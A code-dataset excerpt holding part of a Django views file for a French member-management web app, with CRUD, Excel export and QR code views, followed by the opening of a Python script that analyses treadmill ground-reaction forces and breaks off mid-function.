PersonneForm(request.POST,instance=personne)\n\telse:\n\t\tform = PersonneForm(instance=personne)\n\treturn save_all_memb(request,form,'dashboard_admin/membres/personne/modifypersonne.html')\n\n\ndef deletepers(request,delete_id):\n\tdata = dict()\n\tpersonne = get_object_or_404(Personne , id=delete_id)\n\n\tif request.method == 'POST':\n\t\tpersonne.delete()\n\t\tdata['form_is_valid']=True\n\t\tpersonne=Personne.objects.all()\n\t\tdata['memberslist'] = render_to_string('dashboard_admin/membres/personne/persitems.html',{'personne':personne})\n\telse:\n\t\tcontext={\n\t\t'personne':personne,\n\t\t}\n\t\tdata['html_form'] = render_to_string('dashboard_admin/membres/personne/deletepersonne.html',context,request=request)\n\treturn JsonResponse(data) \n\n#----------- END PERSONNE ----------#\n\n#----------- START CENTRE ------------#\ndef addcentre(request):\n\tif request.method == 'POST':\n\t\tform = centreFormationForm(request.POST)\n\t\tprint(request.POST.get('email'))\n\telse:\n\t\tform = centreFormationForm()\n\treturn save_all_memb(request,form,'dashboard_admin/membres/centre/addcentre.html')\n\ndef modifycentre(request,modify_id):\n\tcentre = get_object_or_404(Centre_formation , id=modify_id )\n\tif request.method == 'POST':\n\t\tform = centreFormationForm(request.POST,instance=centre)\n\t\tprint(request.POST.get('username'))\n\telse:\n\t\tform = centreFormationForm(instance=centre)\n\treturn save_all_memb(request,form,'dashboard_admin/membres/centre/modifycentre.html')\n\n\ndef deletecentr(request,delete_id):\n\tdata = dict()\n\tcentre = get_object_or_404(Centre_formation , id=delete_id)\n\n\tif request.method == 'POST':\n\t\tcentre.delete()\n\t\tdata['form_is_valid']=True\n\t\tcentre=Centre_formation.objects.all()\n\t\tdata['memberslist'] = render_to_string('dashboard_admin/membres/centre/centreitems.html',{'centre':centre})\n\telse:\n\t\tcontext={\n\t\t'centre':centre,\n\t\t}\n\t\tdata['html_form'] = render_to_string('dashboard_admin/membres/centre/deletecentre.html',context,request=request)\n\treturn JsonResponse(data)\n\n\n#----------- END CENTER ----------- #\n\n\ndef exportmembre(request,type):\n\tresponse = HttpResponse(content_type='application/ms-excel')\n\t\n\n\twb = xlwt.Workbook(encoding='utf-8')\n\tws = wb.add_sheet('Users Data') \n\n\trow_num = 0\n\n\tfont_style = xlwt.XFStyle()\n\tfont_style.font.bold = True\n\n\tif type == \"personne\":\n\t\tcolumns = ['Nom', 'Prenom', 'sexe', 'Adresse','Code postal', 'Téléphone' ]\n\t\trows = Personne.objects.all().values_list('nom', 'prenom', 'sexe', 'adresse', 'code_postal', 'num_tel')\n\t\tresponse['Content-Disposition'] = 'attachment; filename=\"Liste Personnes.xls\"'\n\tif type == \"centre\":\n\t\tcolumns = ['Responsable', 'Nom', 'Code Postal']\n\t\trows = Centre_formation.objects.all().values_list('responsable', 'nom_du_centre', 'code_postal')\n\t\tresponse['Content-Disposition'] = 'attachment; filename=\"Liste Centre de formation.xls\"'\n\n\tfor col_num in range(len(columns)):\n\t\tws.write(row_num, col_num, columns[col_num], font_style) \n\n\tfont_style = xlwt.XFStyle()\n\n\t\n\tfor row in rows:\n\t\trow_num += 1\n\t\tfor col_num in range(len(row)):\n\t\t\tws.write(row_num, col_num, row[col_num], font_style)\n\n\twb.save(response)\n\n\treturn response\n\n#----------------------------------------ABONNEMENTS-----------------------------------------------------\n@unauthenticated_user\ndef abonnementList(request):\n\tlistAdherentByAbonnement = Membre.objects.values('username', 'id').annotate(abonnement_count=Count('adherent__id_membre'), last_abonnement=Max('adherent__date_abonnement')).exclude(abonnement_count=0)\t\n\tpaginator_abonnement = Paginator(listAdherentByAbonnement,4)\n\tpages_abo = request.GET.get('pageAbonnement')\n\tpage_abonnement = paginator_abonnement.get_page(pages_abo)\n\n\tcontext = {\n\t\t'listAdherent' : listAdherentByAbonnement,\n\t\t'page_abonnement' : page_abonnement\n\t}\n\t\n\n\treturn render(request, 'dashboard_admin/abonnementList.html', context)\n\ndef exportabonnement(request):\n\tresponse = HttpResponse(content_type='application/ms-excel')\n\tresponse['Content-Disposition'] = 'attachment; filename=\"Liste Adhérants.xls\"'\n\n\twb = xlwt.Workbook(encoding='utf-8')\n\tws = wb.add_sheet('Users Data') \n\n\trow_num = 0\n\n\tfont_style = xlwt.XFStyle()\n\tfont_style.font.bold = True\n\n\tcolumns = ['Membre', 'Date abonnement', 'Numéro']\n\trows = Adherent.objects.all().values_list('id_inscription', 'date_abonnement', 'id_abonnement')\n\t\n\tfor col_num in range(len(columns)):\n\t\tws.write(row_num, col_num, columns[col_num], font_style) \n\n\tfont_style = xlwt.XFStyle()\n\n\t\n\tfor row in rows:\n\t\trow_num += 1\n\t\tfor col_num in range(len(row)):\n\t\t\tws.write(row_num, col_num, row[col_num], font_style)\n\n\twb.save(response)\n\n\treturn response\n\ndef abonnementPack(request):\n\t\n\tif request.method == \"POST\":\n\t\tadherentForm = AdherantForm(request.POST)\n\t\tif adherentForm.is_valid():\n\t\t\tadherentForm.save()\n\t\t\tmessages.info(request, 'Votre abonnement a été bien effectué !')\n\t\telse:\n\t\t\tmessages.error(request, 'Something went wrong !')\n\t\n\telse:\n\t\tadherentForm = AdherantForm()\n\t\n\tlistAbonnementByAdherent = Adherent.objects.filter(id_membre = request.user.id)\n \n\tpaginator_abonnement = Paginator(listAbonnementByAdherent,4\t)\n\tpages_abo = request.GET.get('pagePacks')\n\tpage_adherent = paginator_abonnement.get_page(pages_abo)\n\n\t\n\tcontext = {\n\t 'adherentForm' : adherentForm,\n\t# 'listAbonnementByAdherent' : listAbonnementByAdherent,\n \t 'page_adherent' : page_adherent\n\t }\n\treturn render(request, 'dashboard_admin/abonnementPacks.html', context)\n\ndef countAbonnement(request):\n\tcount_abonnement = Adherent.objects.filter(id_membre = request.user.id).count()\n\tcontext = {\n \t'count_abonnement' : count_abonnement\n }\n\treturn context\n\n#----------------------------------------PARTNERS-----------------------------------------------------------\n@unauthenticated_user\ndef partnersList(request):\n\tpartenaires = Partenaire.objects.all()\n\tpaginator = Paginator(partenaires,4)\n\tpages = request.GET.get('page')\n\tpage_obj = paginator.get_page(pages)\n\n\treturn render(request, 'dashboard_admin/partnersList.html',{'partenaires':page_obj})\n\ndef save_all_part(request,form,template_name):\n\tdata = dict()\n\tif request.method == \"POST\":\n\t\tif form.is_valid():\n\t\t\tform.save()\n\t\t\tdata['form_is_valid']=True\n\t\t\tpartenaire=Partenaire.objects.all()\n\t\t\tdata['partnersList'] = render_to_string('dashboard_admin/partenaires/partiems.html',{'partenaire':partenaire})\n\telse:\n\t\tdata['form_is_valid']=False\n\t\n\tcontext={\n\t\t'form': form,\n\t}\n\tdata['html_form'] = render_to_string(template_name,context,request)\n\treturn JsonResponse(data)\n\ndef addpartenaire(request):\n\tif request.method == 'POST':\n\t\tform = PartenaireForm(request.POST)\n\telse:\n\t\tform = PartenaireForm()\n\treturn save_all_act(request,form,'dashboard_admin/partenaires/addpart.html')\n\ndef modifypartenaire(request,modify_id):\n\tpartenaire = get_object_or_404(Partenaire , id=modify_id )\n\tif request.method == 'POST':\n\t\tform = PartenaireForm(request.POST,instance=partenaire)\n\telse:\n\t\tform = PartenaireForm(instance=partenaire)\n\treturn save_all_act(request,form,'dashboard_admin/partenaires/modifypart.html')\n\ndef deletepartenaire(request,delete_id):\n\tdata = dict()\n\tpartenaire = get_object_or_404(Partenaire , id=delete_id)\n\n\tif request.method == 'POST':\n\t\tpartenaire.delete()\n\t\tdata['form_is_valid']=True\n\t\tpartenaire=Partenaire.objects.all()\n\t\tdata['partnersList'] = render_to_string('dashboard_admin/partenaires/partitems.html',{'partenaire':partenaire})\n\telse:\n\t\tcontext={\n\t\t'partenaire':partenaire,\n\t\t}\n\t\tdata['html_form'] = render_to_string('dashboard_admin/partenaires/deletepart.html',context,request=request)\n\treturn JsonResponse(data)\n\ndef exportpartenaire(request):\n\tresponse = HttpResponse(content_type='application/ms-excel')\n\tresponse['Content-Disposition'] = 'attachment; filename=\"Liste Partenaires.xls\"'\n\n\twb = xlwt.Workbook(encoding='utf-8')\n\tws = wb.add_sheet('Users Data')\n\n\trow_num = 0\n\n\tfont_style = xlwt.XFStyle()\n\tfont_style.font.bold = True\n\n\tcolumns = ['Nom','Adresse','Code postal', 'Téléphone' ]\n\trows = Partenaire.objects.all().values_list('nom', 'adresse', 'code_postal', 'num_tel')\n\t\n\tfor col_num in range(len(columns)):\n\t\tws.write(row_num, col_num, columns[col_num], font_style) \n\n\tfont_style = xlwt.XFStyle()\n\n\t\n\tfor row in rows:\n\t\trow_num += 1\n\t\tfor col_num in range(len(row)):\n\t\t\tws.write(row_num, col_num, row[col_num], font_style)\n\n\twb.save(response)\n\n\treturn response\n\n#----------------------------------------MAPVIZUALISATION--------------------------------------------------\n@unauthenticated_user\ndef mapVisualization(request):\n\tmap = folium.Map(location=[47,2],zoom_start=5)\n\tmap = map._repr_html_()\n\treturn render(request, 'dashboard_admin/mapVisualization.html',{'map':map})\n\n\n#---------------------Etablissement view -------------------------------------------------------------\n@unauthenticated_user\ndef etablissementList(request):\n\tetablissements = Etablissement.objects.all()\n\tpaginator = Paginator(etablissements,4)\n\tpages = request.GET.get('page')\n\tpage_obj = paginator.get_page(pages)\n\n\treturn render(request, 'dashboard_admin/etablissementList.html',{'etablissement':page_obj})\n\ndef save_all_etab(request,form,template_name):\n\tdata = dict()\n\tif request.method == \"POST\":\n\t\tif form.is_valid():\n\t\t\tform.save()\n\t\t\tdata['form_is_valid']=True\n\t\t\tetablissement=Etablissement.objects.all()\n\t\t\tdata['etablissementList'] = render_to_string('dashboard_admin/etablissement/etabitems.html',{'etablissement':etablissement})\n\telse:\n\t\tdata['form_is_valid']=False\n\t\n\tcontext={\n\t\t'form': form,\n\t}\n\tdata['html_form'] = render_to_string(template_name,context,request)\n\treturn JsonResponse(data)\n\ndef addetablissement(request):\n\tif request.method == 'POST':\n\t\tform = EtablissementForm(request.POST)\n\telse:\n\t\tform = EtablissementForm()\n\treturn save_all_act(request,form,'dashboard_admin/etablissement/addetablissement.html')\n\ndef modifyetablissement(request,modify_id):\n\tetablissement = get_object_or_404(Etablissement , id=modify_id )\n\tif request.method == 'POST':\n\t\tform = EtablissementForm(request.POST,instance=etablissement)\n\telse:\n\t\tform = EtablissementForm(instance=etablissement)\n\treturn save_all_act(request,form,'dashboard_admin/etablissement/modifyetablissement.html')\n\n\ndef deleteetablissement(request,delete_id):\n\tdata = dict()\n\tetablissement = get_object_or_404(Etablissement , id=delete_id)\n\n\tif request.method == 'POST':\n\t\tetablissement.delete()\n\t\tdata['form_is_valid']=True\n\t\tetablissement=Etablissement.objects.all()\n\t\tdata['etablissementList'] = render_to_string('dashboard_admin/etablissement/etabitems.html',{'etablissement':etablissement})\n\telse:\n\t\tcontext={\n\t\t'etablissement':etablissement,\n\t\t}\n\t\tdata['html_form'] = render_to_string('dashboard_admin/etablissement/deleteetablissement.html',context,request=request)\n\treturn JsonResponse(data)\n\ndef exportetablissement(request):\n\tresponse = HttpResponse(content_type='application/ms-excel')\n\tresponse['Content-Disposition'] = 'attachment; filename=\"Liste Etablissements.xls\"'\n\n\twb = xlwt.Workbook(encoding='utf-8')\n\tws = wb.add_sheet('Users Data') \n\n\trow_num = 0\n\n\tfont_style = xlwt.XFStyle()\n\tfont_style.font.bold = True\n\n\tcolumns = ['Représentant', 'Nom', 'Type', 'Adresse','Code postal']\n\trows = Etablissement.objects.all().values_list('representant','nom','type_etablissement', 'adresse', 'code_postal')\n\t\n\tfor col_num in range(len(columns)):\n\t\tws.write(row_num, col_num, columns[col_num], font_style) \n\n\tfont_style = xlwt.XFStyle()\n\n\tfor row in rows:\n\t\trow_num += 1\n\t\tfor col_num in range(len(row)):\n\t\t\tws.write(row_num, col_num, row[col_num], font_style)\n\n\twb.save(response)\n\n\treturn response\n\n#------------------- Dashboard Member views ----------------------------------------------------------------------------\n@unauthenticated_user\ndef activity_show(request):\n activity = Activite.objects.filter(membres=request.user.id)\n return render(request,'dashboard_membre/myactivity.html',{'activity':activity})\n\n@unauthenticated_user\ndef badge_qrcode(request):\n\n\tif request.user.groups.filter(name='personne').exists():\n\t\tpersonne = get_object_or_404(Personne, id=request.user.id )\n\t\tcentre = []\n\telse:\n\t\tcentre = get_object_or_404(Centre_formation, id=request.user.id )\n\t\tpersonne = []\n\tcontext ={\n\t\t'centre':centre,\n\t\t'personne': personne,\n\t}\n\t\n\treturn render(request,'dashboard_membre/badge.html',context)\n\ndef Gifts(request):\n\treturn render(request,'dashboard_membre/listecadeaux.html')\n\n#----------------------------------------QRCODE------------------------------------------------------------\n@unauthenticated_user\ndef Search_qrcode(request):\n\tquery = request.GET.get('query')\n\t\n\tif not query:\n\t\tpersonnes = Personne.objects.all()\n\t\tcentre = Centre_formation.objects.all()\n\telse:\n\t\tpersonnes = Personne.objects.filter(nom__icontains=query)\n\t\tcentre = Centre_formation.objects.filter(nom_du_centre__icontains=query)\n\t\tif not personnes:\n\t\t\tpersonnes = Personne.objects.filter(prenom__icontains=query) \n\n\tpaginator_pers = Paginator(personnes,4)\n\tpages_p = request.GET.get('page')\n\tpage_pers = paginator_pers.get_page(pages_p)\n\n\tpaginator_centr = Paginator(centre,4)\n\tpages_c = request.GET.get('page')\n\tpage_centr = paginator_centr.get_page(pages_c)\n\tcontext = {\n\t\t'personne' : page_pers,\n\t\t'centre' : page_centr,\n\t\t'query':query,\n\t}\n\treturn render(request,'dashboard_admin/rechercheqrcode.html',context)\n\t \n\ndef qrcode_info(request,id_membre,type):\n\tdata = dict()\n\tif type == \"personne\":\n\t\tpersonne = get_object_or_404(Personne , id=id_membre)\n\t\tcontext = {\n\t\t'membre' : personne,\n\t\t'type' : type,\n\t\t}\n\telse:\n\t\tcentre = get_object_or_404(Centre_formation , id=id_membre)\n\t\tcontext = {\n\t\t'membre' : centre,\n\t\t'type' : type,\n\t\t}\n\t\n\tdata['html_form'] = render_to_string('dashboard_admin/qr_code.html',context,request)\n\treturn JsonResponse(data)\n", "repo_name": "HASS-ASFF/GreenForm", "sub_path": "Projet Green Form/greenform_project/greenform_app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 23287, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.contrib.messages.info", "line_number": 48, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 48, "usage_type": "name"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 56, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 58, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 59, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 61, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 61, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 67, "usage_type": "call"}, {"api_name": "django.contrib.auth.logout", "line_number": 70, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 71, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 89, "usage_type": "call"}, {"api_name": "decorators.unauthenticated_user", "line_number": 73, "usage_type": "name"}, {"api_name": "django.contrib.messages.info", "line_number": 102, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 102, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 104, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 104, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 109, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 119, "usage_type": "call"}, {"api_name": "decorators.unauthenticated_user", "line_number": 93, "usage_type": "name"}, {"api_name": "django.contrib.auth.update_session_auth_hash", "line_number": 128, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 129, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 129, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 130, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 132, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 132, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 137, "usage_type": "call"}, {"api_name": "django.core.paginator.Paginator", "line_number": 146, "usage_type": "call"}, {"api_name": "django.core.paginator.Paginator", "line_number": 150, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 158, "usage_type": "call"}, {"api_name": "decorators.unauthenticated_user", "line_number": 141, "usage_type": "name"}, {"api_name": "django.template.loader.render_to_string", "line_number": 167, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 174, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 175, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 180, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 187, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 187, "usage_type": "name"}, {"api_name": "django.template.loader.render_to_string", "line_number": 193, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 194, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 198, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 204, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 205, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 216, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 226, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 232, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 237, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 238, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 241, "usage_type": "call"}, {"api_name": "xlwt.Workbook", "line_number": 244, "usage_type": "call"}, {"api_name": "xlwt.XFStyle", "line_number": 248, "usage_type": "call"}, {"api_name": "xlwt.XFStyle", "line_number": 258, "usage_type": "call"}, {"api_name": "xlwt.XFStyle", "line_number": 260, "usage_type": "call"}, {"api_name": "django.core.paginator.Paginator", "line_number": 280, "usage_type": "call"}, {"api_name": "django.core.paginator.Paginator", "line_number": 285, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 294, "usage_type": "call"}, {"api_name": "decorators.unauthenticated_user", "line_number": 277, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 304, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 304, "usage_type": "name"}, {"api_name": "django.template.loader.render_to_string", "line_number": 309, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 310, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 330, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 336, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 341, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 342, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 356, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 367, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 373, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 378, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 379, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 386, "usage_type": "call"}, {"api_name": "xlwt.Workbook", "line_number": 389, "usage_type": "call"}, {"api_name": "xlwt.XFStyle", "line_number": 394, "usage_type": "call"}, {"api_name": "xlwt.XFStyle", "line_number": 409, "usage_type": "call"}, {"api_name": "django.db.models.Count", "line_number": 424, "usage_type": "call"}, {"api_name": "django.db.models.Max", "line_number": 424, "usage_type": "call"}, {"api_name": "django.core.paginator.Paginator", "line_number": 425, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 435, "usage_type": "call"}, {"api_name": "decorators.unauthenticated_user", "line_number": 422, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 438, "usage_type": "call"}, {"api_name": "xlwt.Workbook", "line_number": 441, "usage_type": "call"}, {"api_name": "xlwt.XFStyle", "line_number": 446, "usage_type": "call"}, {"api_name": "xlwt.XFStyle", "line_number": 455, "usage_type": "call"}, {"api_name": "django.contrib.messages.info", "line_number": 473, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 473, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 475, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 475, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 482, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 492, "usage_type": "call"}, {"api_name": "django.core.paginator", "line_number": 505, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 505, "usage_type": "call"}, {"api_name": "django.core.paginator.get_page", "line_number": 507, "usage_type": "call"}, {"api_name": "django.core.paginator", "line_number": 507, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 509, "usage_type": "call"}, {"api_name": "decorators.unauthenticated_user", "line_number": 502, "usage_type": "name"}, {"api_name": "django.template.loader.render_to_string", "line_number": 518, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 525, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 526, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 536, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 545, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 551, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 556, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 557, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 560, "usage_type": "call"}, {"api_name": "xlwt.Workbook", "line_number": 563, "usage_type": "call"}, {"api_name": "xlwt.XFStyle", "line_number": 568, "usage_type": "call"}, {"api_name": "xlwt.XFStyle", "line_number": 577, "usage_type": "call"}, {"api_name": "folium.Map", "line_number": 592, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 594, "usage_type": "call"}, {"api_name": "decorators.unauthenticated_user", "line_number": 590, "usage_type": "name"}, {"api_name": "django.core.paginator", "line_number": 601, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 601, "usage_type": "call"}, {"api_name": "django.core.paginator.get_page", "line_number": 603, "usage_type": "call"}, {"api_name": "django.core.paginator", "line_number": 603, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 605, "usage_type": "call"}, {"api_name": "decorators.unauthenticated_user", "line_number": 598, "usage_type": "name"}, {"api_name": "django.template.loader.render_to_string", "line_number": 614, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 621, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 622, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 632, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 642, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 648, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 653, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 654, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 657, "usage_type": "call"}, {"api_name": "xlwt.Workbook", "line_number": 660, "usage_type": "call"}, {"api_name": "xlwt.XFStyle", "line_number": 665, "usage_type": "call"}, {"api_name": "xlwt.XFStyle", "line_number": 674, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 689, "usage_type": "call"}, {"api_name": "decorators.unauthenticated_user", "line_number": 686, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 695, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 698, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 705, "usage_type": "call"}, {"api_name": "decorators.unauthenticated_user", "line_number": 691, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 708, "usage_type": "call"}, {"api_name": "django.core.paginator.Paginator", "line_number": 724, "usage_type": "call"}, {"api_name": "django.core.paginator.Paginator", "line_number": 728, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 736, "usage_type": "call"}, {"api_name": "decorators.unauthenticated_user", "line_number": 711, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 742, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 748, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 754, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 755, "usage_type": "call"}]} {"seq_id": "34532857994", "text": "# -*- coding: utf-8 -*-\r\n# %% [markdown]\r\n# ### Apresentacao do script: Sergio Baldo & Paulo Santiago\r\n# %%\r\n# print('\\n')\r\n# print(58*'#')\r\n# print('IA_TREADMILL.PY'.center(58))\r\n# print('Análise das forças de contato no solo em esteira ergométrica'.center(58))\r\n## print(58*'#')\r\n# print('\\n')\r\n\r\n# %% [markdown]\r\n# ### Importando bibliotecas necessárias \r\n# %%\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom scipy.signal import find_peaks\r\nimport scipy as sp\r\nimport matplotlib.pyplot as plt\r\nimport sys\r\n\r\n\r\n# %% [markdow]\r\n# ### Função para realizar o filtro de butterworth\r\n# %%\r\ndef filtro(dat, fc=59, fs=1000, filtorder=4, typefilt='low'):\r\n import numpy as np\r\n from scipy import signal\r\n \r\n nl, nc = dat.shape\r\n # fc=59 # Cut-off frequency of the filter\r\n w = fc/(fs/2) # Normalize the frequency\r\n b, a = signal.butter(filtorder, w, typefilt)\r\n \r\n datf = np.zeros([nl, nc], dtype=float)\r\n for i in range(nc):\r\n datf[:,i] = signal.filtfilt(b, a, dat[:,i])\r\n \r\n return datf\r\n\r\n# %% [markdow]\r\n# ### Função para carregar o arquivo das células de carga\r\n# %%\r\ndef readcell(dat, freq=1000, valtara=None, peso=None, filtrar=None, sumcell=None, salvar=None):\r\n # dfcell = pd.read_csv('hiit01_15kmh_08042020.csv', sep=',', header=None)\r\n # import pandas as pd\r\n # import matplotlib.pyplot as plt\r\n \r\n dfcell = pd.read_csv(dat, sep=',', header=None)\r\n cell = -1 * (dfcell[[1,2,3,4]].to_numpy())\r\n \r\n # plt.close('all')\r\n # plt.plot(cell)\r\n \r\n if valtara is None:\r\n # import numpy as np\r\n i1 = int(np.round(freq/10))\r\n f1 = int(np.round(freq+freq/10))\r\n tarar = np.mean(cell[i1+10:f1+10,:], axis=0)\r\n res = cell - tarar\r\n vtara = tarar\r\n else:\r\n dfvtara = pd.read_csv(valtara, sep=',', header=None)\r\n dftara = -1 * dfvtara[[1,2,3,4]].to_numpy()\r\n vtara = np.mean(dftara, 0)\r\n res = cell - vtara\r\n # res = cell\r\n \r\n print(f'valor de tara = {vtara}')\r\n if filtrar is not None:\r\n from ia_treadmill import filtro\r\n res1 = filtro(res, fc=float(filtrar))\r\n else:\r\n res1 = res\r\n\r\n if sumcell is None:\r\n # import numpy as np\r\n res2a = np.sum(res1, 1)\r\n else:\r\n res2a = res1\r\n \r\n if peso is not None:\r\n dfnormpeso = pd.read_csv(peso, sep=',', header=None)\r\n normpesoa = -1 * dfnormpeso[[1,2,3,4]].to_numpy()\r\n normpeso = normpesoa - vtara\r\n normpeso1 = np.mean(normpeso, 0)\r\n normpeso = np.sum(normpeso1)\r\n res2 = res2a / normpeso\r\n else:\r\n res2 = res2a\r\n \r\n \r\n # plt.figure()\r\n # plt.plot(res2)\r\n \r\n if salvar is not None:\r\n if salvar is True:\r\n nome = input('Digite um nome do arquivo salvo: ')\r\n else:\r\n nome = salvar\r\n np.savetxt(str(nome)+'.txt', res2, fmt='%.21f')\r\n \r\n return res2\r\n\r\n# %% [markdown] \r\n# ### Função para definir o número de foot-strikes no sinal\r\n# %%\r\ndef selectstrikes(dat, freq=1000, limiar=10):\r\n import numpy as np\r\n from scipy.signal import find_peaks\r\n import matplotlib.pyplot as plt\r\n \r\n if limiar%2 != 0:\r\n limiar = limiar+1\r\n \r\n dat = np.array(dat)\r\n \r\n plt.close('all')\r\n plt.figure()\r\n plt.title('Escolha o início e fim do sinal que deseja analisar (click esquerdo do mouse)')\r\n plt.plot(dat)\r\n plt.ylabel('Vertical GRF (BW)')\r\n \r\n x = plt.ginput(2, timeout=120)\r\n xinicio = int(np.round(x[0][0]))\r\n xfim = int(np.round(x[1][0]))\r\n datc = dat[xinicio:xfim]\r\n plt.plot(list(range(xinicio,xfim)), dat[xinicio:xfim], '--r')\r\n \r\n\r\n datmin = min(datc)\r\n posmin = np.argmin(datc)\r\n \r\n dat1 = datc - datmin\r\n limiar_corte = max(dat1[posmin-limiar:posmin+limiar]) + 2 * np.std(dat1[posmin-limiar:posmin+limiar])\r\n \r\n print(f'Cut-off threshold = {limiar_corte}')\r\n plt.title(f'Select frames: Start = {xinicio} | End = {xfim}')\r\n\r\n plt.figure()\r\n plt.plot(dat1)\r\n plt.plot(list(range(len(dat1))), np.linspace(limiar_corte,limiar_corte,len(dat1)), '--r')\r\n plt.title(f'Cut-off threshold = ({limiar_corte})')\r\n\r\n uplimiar = dat1 > limiar_corte\r\n downlimiar = dat1 < limiar_corte\r\n dat2 = dat1[uplimiar]\r\n datzeros = dat1\r\n datzeros[downlimiar] = 0\r\n \r\n dat2inv = -1*dat2\r\n peaks, _ = find_peaks(dat2inv, height=[np.mean(dat2inv) + np.std(dat2inv)], distance=np.round(freq/limiar))\r\n \r\n \r\n if len(peaks)%2 != 0:\r\n cortes1 = peaks[:-1]\r\n 